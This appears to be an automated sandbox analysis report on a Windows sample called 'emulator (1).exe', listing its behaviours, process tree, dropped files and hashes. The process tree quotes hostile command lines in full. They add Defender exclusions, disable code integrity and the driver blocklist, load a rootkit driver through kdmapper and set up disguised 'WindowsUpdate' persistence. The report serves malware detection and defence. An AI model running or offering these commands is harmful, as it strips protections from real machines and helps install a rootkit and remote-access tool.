Analysis

  • geolocation tags

    nanew-jerseynorth-americaunited-statesususa
  • user interaction
    yes
  • max time kernel
    12s
  • max time network
    26s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/10/2026, 16:03

General

  • Target
    emulator (1).exe
  • Size 5.7MB
  • Sample261022-thdgfsssax
  • SHA256 8f43dfebef728a508cf937abc22780d5033182d193a41014b92eecfcf8f447f6
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Enumerates VirtualBox registry keys 2 TTPs 1 IoCs
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
  • Looks for VMWare services registry key. 1 TTPs 1 IoCs
  • Modify Registry: Disable Windows Driver Blocklist 2 TTPs 1 IoCs

    Disable Windows Driver Blocklist via Registry.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 4 IoCs
  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

    Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Hide Artifacts: Hidden Window 1 TTPs 2 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\emulator (1).exe
    "C:\Users\Admin\AppData\Local\Temp\emulator (1).exe"
    1⤵
    • Enumerates VirtualBox registry keys
    • Looks for VirtualBox Guest Additions in registry
    • Looks for VMWare Tools registry key
    • Looks for VMWare services registry key.
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4232
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'; Add-MpPreference -ExclusionProcess 'kdmapper.exe'; Add-MpPreference -ExclusionProcess 'rat.exe'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2220
    • C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "C" /sc onlogon /rl highest /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2620
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\WTSvc'"
      2⤵
      • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
      • Hide Artifacts: Hidden Window
      • Suspicious use of WriteProcessMemory
      PID:4452
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\WTSvc'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3688
    • C:\ProgramData\WTSvc\kdmapper_classic.exe
      "C:\ProgramData\WTSvc\kdmapper_classic.exe" "C:\ProgramData\WTSvc\rootkit.sys"
      2⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: LoadsDriver
      PID:2080
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v Enabled /t REG_DWORD /d 0 /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1072
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v Enabled /t REG_DWORD /d 0 /f
        3⤵
          PID:5896
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\CI\Config" /v VulnerableDriverBlocklistEnable /t REG_DWORD /d 0 /f
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3172
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SYSTEM\CurrentControlSet\Control\CI\Config" /v VulnerableDriverBlocklistEnable /t REG_DWORD /d 0 /f
          3⤵
          • Modify Registry: Disable Windows Driver Blocklist
          PID:5840
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\ProgramData\WTSvc\setup_driver.ps1"
        2⤵
        • Hide Artifacts: Hidden Window
        • Suspicious use of WriteProcessMemory
        PID:4072
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\ProgramData\WTSvc\setup_driver.ps1"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3952
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c shutdown /r /t 120 /c "Windows Update"
        2⤵
        • Executes a command shell one-liner
        PID:6096
        • C:\Windows\system32\shutdown.exe
          shutdown /r /t 120 /c "Windows Update"
          3⤵
            PID:4984
      • C:\ProgramData\WTSvc\WindowsUpdate.exe
        C:\ProgramData\WTSvc\WindowsUpdate.exe
        1⤵
        • Executes dropped EXE
        PID:256
      • C:\Windows\System32\drivers\WindowsTelemetrySvc.sys
        C:\Windows\System32\drivers\WindowsTelemetrySvc.sys
        1⤵
          PID:3320
        • C:\Windows\System32\PickerHost.exe
          C:\Windows\System32\PickerHost.exe -Embedding
          1⤵
            PID:2632

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                MSVCP140.dll

                • Path C:\ProgramData\WTSvc\MSVCP140.dll
                • Size 628KB
                • SHA256 7c26614e1d733892c2deac7e245ce115504b1d80592dd0a01b08e3e5a55f89ca
                • MD5 SHA1 SHA512 SSDEEP TLSH

                VCRUNTIME140.dll

                • Path C:\ProgramData\WTSvc\VCRUNTIME140.dll
                • Size 174KB
                • SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
                • MD5 SHA1 SHA512 SSDEEP TLSH

                VCRUNTIME140_1.dll

                • Path C:\ProgramData\WTSvc\VCRUNTIME140_1.dll
                • Size 48KB
                • SHA256 a7146c08f89fe5b04541ab507cdb59ff7b44534d4ba3c668a426c6450a03434e
                • MD5 SHA1 SHA512 SSDEEP TLSH

                WindowsUpdate.exe

                • Path C:\ProgramData\WTSvc\WindowsUpdate.exe
                • Size 5.7MB
                • SHA256 8f43dfebef728a508cf937abc22780d5033182d193a41014b92eecfcf8f447f6
                • MD5 SHA1 SHA512 SSDEEP TLSH

                kdmapper_classic.exe

                • Path C:\ProgramData\WTSvc\kdmapper_classic.exe
                • Size 154KB
                • SHA256 e64bc322ba9938ced8031effccdf5395ba750a0f7f02b2a9a13ea7c11b923c5d
                • MD5 SHA1 SHA512 SSDEEP TLSH

                rootkit.sys

                • Path C:\ProgramData\WTSvc\rootkit.sys
                • Size 15KB
                • SHA256 0c7c0beb0aaae265c48625b354b1465079f90fcb7693302c52fc501c11129a07
                • MD5 SHA1 SHA512 SSDEEP TLSH

                setup_driver.ps1

                • Path C:\ProgramData\WTSvc\setup_driver.ps1
                • Size 353B
                • SHA256 cf22313bad299444543287dff1e2ab5aa0a4d4f2c8ce7feb600c5bad857751ec
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 4fb025787851a7d907bbb74dbaa2bcf930c1393531cdf7e15b15460ab7045df7
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_1atylzf5.jr2.psm1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1atylzf5.jr2.psm1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                rat_log.txt

                • Path C:\Users\Admin\AppData\Local\Temp\rat_log.txt
                • Size 888B
                • SHA256 6bcb4a086534dfa77413908fced959a0698245fdebf1f8c13d08c7f2d36aec55
                • MD5 SHA1 SHA512 TLSH

                rat_log.txt

                • Path C:\Users\Admin\AppData\Local\Temp\rat_log.txt
                • Size 177B
                • SHA256 83faae0495aefee636b1c3bebdc63a7c3328bccd39341c204f716351c49a3eaf
                • MD5 SHA1 SHA512 TLSH

                rat_log.txt

                • Path C:\Users\Admin\AppData\Local\Temp\rat_log.txt
                • Size 334B
                • SHA256 f0f6ba450d20699dea2c04b74e846e1ab3714a171e371cdceadca35a1091d9b4
                • MD5 SHA1 SHA512 TLSH

                memory/256-38-0x00007FF6909C0000-0x00007FF690D30000-memory.dmp

                memory/2220-22-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

                memory/2220-8-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

                memory/2220-18-0x0000020B9A030000-0x0000020B9A0E2000-memory.dmp

                memory/2220-25-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

                memory/2220-26-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

                memory/2220-27-0x0000020B99CF9000-0x0000020B99CFF000-memory.dmp

                memory/2220-102-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

                memory/2220-21-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

                memory/2220-20-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

                memory/2220-16-0x0000020B99E00000-0x0000020B99E1E000-memory.dmp

                memory/2220-19-0x0000020BFFCB0000-0x0000020BFFCBA000-memory.dmp

                memory/2220-13-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

                memory/2220-12-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

                memory/2220-11-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

                memory/2220-10-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

                memory/2220-9-0x0000020BFFCD0000-0x0000020BFFCF2000-memory.dmp

                memory/2220-23-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

                memory/2220-17-0x00007FFBDB810000-0x00007FFBDC1B4000-memory.dmp

                memory/2220-5-0x00007FFBDB99F000-0x00007FFBDB9A0000-memory.dmp

                memory/3952-80-0x000001B5BC8E0000-0x000001B5BC8FE000-memory.dmp

                memory/4232-79-0x00007FF643BF0000-0x00007FF643F60000-memory.dmp

                memory/4232-1-0x00007FFBFE660000-0x00007FFBFE8C3000-memory.dmp

                memory/4232-103-0x00007FF643BF0000-0x00007FF643F60000-memory.dmp